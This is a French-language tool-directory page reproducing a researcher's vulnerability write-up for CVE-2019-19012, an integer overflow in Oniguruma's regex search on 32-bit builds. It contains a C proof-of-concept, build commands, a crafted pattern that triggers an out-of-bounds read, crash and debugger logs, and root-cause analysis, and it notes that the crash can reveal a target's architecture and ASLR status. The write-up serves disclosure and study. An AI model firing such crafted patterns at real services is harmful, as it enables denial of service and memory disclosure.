Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-19012 — Un dépassement d'entier dans la fonction search_in_range du fichier regexec.c dans Oniguruma 6.x avant 6.9.4_rc2 entraîne une lecture hors limites. | Kitploit
Outils/GitHubGitHub/tarantula-team/cve-2019-19012
Criminalistique MémoireAnalyse des VulnérabilitésExploitationCollecte d'InformationsFuzzingAnalyse de Binaires
GitHubtarantula-team/cve-2019-19012

CVE-2019-19012

Un dépassement d'entier dans la fonction search_in_range du fichier regexec.c dans Oniguruma 6.x avant 6.9.4_rc2 entraîne une lecture hors limites.

Voir le dépôt
il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-19012

Un dépassement d’entier dans la fonction search_in_range du fichier regexec.c dans Oniguruma 6.x avant 6.9.4_rc2 conduit à une lecture hors limites, dont le décalage est contrôlé par un attaquant. (Cela n’affecte que la version compilée en 32 bits). Des attaquants distants peuvent provoquer un déni de service ou une divulgation d’informations, ou potentiellement d’autres impacts non précisés, via une expression régulière contrefaite.

Chercheur : ManhND de The Tarantula Team, VinCSS (membre de Vingroup)

Qu’est-ce qu’Oniguruma

Oniguruma par K. Kosako est une bibliothèque d’expressions régulières sous licence BSD qui prend en charge plusieurs encodages de caractères. Le langage de programmation Ruby, dans sa version 1.9, ainsi que le module de chaînes multi-octets de PHP (depuis PHP5), utilisent Oniguruma comme moteur d’expressions régulières. Il est également utilisé dans des produits tels qu’Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text et SubEthaEdit.

Preuve de concept

Voici une PoC en C. Elle reçoit le premier argument comme motif et le second argument comme chaîne à mettre en correspondance.

root@kitploit:~
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Compilez Oniguruma et la PoC en 32 bits :

root@kitploit:~
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

Pour déclencher le bogue, fournissez la chaîne « x » et des motifs au format « x{a}{b}0 », où a et b sont inférieurs à 100000. Par exemple :

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

Analyse

Version du code source référencée : ca7ddbd858dcdc8322d619cf41ab125a2603a0d4

La cause profonde provient de la ligne regex.c:5365, où un dépassement d’entier se produit :

root@kitploit:~
5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => overflow
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

Le dépassement d’entier se produit lorsque reg->dmax devient suffisamment grand. reg->dmax semble être une certaine distance égale à <nombre> dans le motif « x{<nombre>}y », où x peut être n’importe quel caractère et y doit être un chiffre. Par exemple, avec le motif « a{1000}5 », reg->dmax = 1000. Voir le journal gdb suivant avec « ./PoC a{1000}5 b » :

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>, 
  map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)

Avec des motifs sous la forme « x{<nombre>}y », dmax prend la valeur maximale 100000, car le nombre de répétitions ne peut pas dépasser 100000 (ONIG_MAX_REPEAT_NUM). Cependant, si on fournit des motifs au format « x{<nombre1>}{<nombre2>}y », nous obtenons reg->dmax = nombre1 * nombre2. Cette multiplication est effectuée dans le code suivant (regcomp.c:6157) :

root@kitploit:~
6156	      else {
6157	        max = distance_multiply(xo.len.max, qn->upper);    //// => multiply into dmax
6158	      }

Voir le journal gdb suivant avec « ./PoC a{1000}{2}5 b » :

root@kitploit:~
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>, 
  map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)

De plus, le nombre de répétitions peut être imbriqué autant de fois que souhaité :

root@kitploit:~
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk

Ainsi, dmax (un entier non signé) peut prendre n’importe quelle valeur dans l’intervalle [0, 0xffffffff), et un dépassement d’entier dans sch_range += reg->dmax; est tout à fait possible. La même chose s’applique à reg->dmin. Cependant, ce dépassement d’entier ne concerne que la version 32 bits. Avec la version 64 bits, sch_range est un pointeur 64 bits et dmax est toujours un entier non signé, donc aucun dépassement d’entier ne peut se produire.

La PoC ci-dessus plante car, dans sunday_quick_search, le dépassement d’entier conduit au déréférencement d’une adresse mémoire invalide :

root@kitploit:~
while (s < end) {
    p = s;
    t = tail;
    while (*p == *t) {                             // => p points to invalid address
      if (t == target) return (UChar* )p;
      p--; t--;
    }
    if (s + map_offset >= text_end) break;
    s += reg->map[*(s + map_offset)];
  }

Si l’ASLR est activé et que nous fournissons un motif adapté, l’ASLR mappe parfois une page valide à l’adresse déréférencée, parfois aucune page, donc la PoC plantera parfois, parfois non. Cette PoC peut donc être utilisée pour détecter si le système cible est 32 bits ou 64 bits. Et s’il est 32 bits, nous pouvons détecter si l’ASLR est activé ou non.

Référence

  • https://github.com/kkos/oniguruma/issues/164
  • https://en.wikipedia.org/wiki/Oniguruma
Télécharger l’outil